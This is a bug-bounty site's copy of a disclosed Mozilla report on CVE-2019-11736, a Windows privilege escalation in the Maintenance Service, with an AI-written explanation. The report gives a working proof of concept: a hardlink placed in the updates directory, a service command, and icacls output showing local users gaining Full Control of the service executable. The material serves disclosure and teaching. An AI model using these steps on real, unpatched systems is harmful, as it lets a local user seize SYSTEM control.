Skip to content
Access control Disclosed report Intermediate CVE-2019-11736

SYSTEM Privilege escalation via file permission overwrite by Maintenance Service

The Mozilla Maintenance Service's fix-update-directory-perms command guards against symlinked or junctioned directories but not against hardlinked files. An attacker can create a hardlink inside the updates directory pointing to a privileged executable, causing the service to overwrite that file's permissions to Full Control for local users, then replace the executable and run code as SYSTEM.

Seb Patane Follow

Originally disclosed on Mozilla

  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 3 months
Text
Created attachment 9065096
CreateHardlink.exe

When running the Windows Mozilla Maintenace Service's fix-update-directory-perms command, it guards against symlinked/junctioned directories pointing to another folder, but does not guard against files being hardlinked to another file.

By placing a hardlink to a file in the C:\ProgramData\Mozilla\updates\ directory we can overwrite its permissions to Full Control for local users.

If we use this to overwrite the permissions of the C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe file itself, we can replace it with a binary we control and achieve arbitrary code execution as the SYSTEM user.

You can use the CreateHardlink program from https://github.com/googleprojectzero/symboliclink-testing-tools/tree/master/CreateHardlink to do this - I've attached a prebuilt binary for convenience.

I tested this on version 68.0.0.7074 of the maintenanceservice.exe.

POC:

C:\Users\Seb>icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                          BUILTIN\Administrators:(I)(F)
                                                                          BUILTIN\Users:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Users\Seb>CreateHardlink.exe C:\ProgramData\Mozilla\updates\evil_hardlink "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Done

C:\Users\Seb>sc start MozillaMaintenance aaa fix-update-directory-perms .

SERVICE_NAME: MozillaMaintenance
        TYPE               : 110  WIN32_OWN_PROCESS  (interactive)
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 12012
        FLAGS              :

C:\Users\Seb>icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe BUILTIN\Users:(F)
                                                                          BUILTIN\Administrators:(F)
                                                                          NT AUTHORITY\SYSTEM:(F)
                                                                          BUILTIN\Users:(I)(F)
                                                                          BUILTIN\Administrators:(I)(F)
                                                                          NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files

The original report as published on Mozilla's Bugzilla, by Seb Patane. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The service checked for directory links but not for hardlinked files, so it applied permission changes to a file outside the intended directory.

Impact

A local user could replace the maintenance service executable with their own binary and achieve arbitrary code execution as the SYSTEM user.

What the attacker needed

Local user account on Windows; ability to create hardlinks; Mozilla Maintenance Service installed

How it was found

  1. Create a hardlink inside the updates directory that points to the maintenance service executable.
  2. Start the MozillaMaintenance service with the fix-update-directory-perms command.
  3. Observe that the executable's permissions now grant Full Control to local users.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A hardlink is like a second name for the same file on disk. The maintenance service was supposed to fix permissions only on files inside its own updates folder, but it followed a hardlink to a protected program and gave normal users full control over it. Once users can write to that program, they can swap it for their own and the service runs it with the highest Windows privileges.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by Seb Patane

View all

10 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.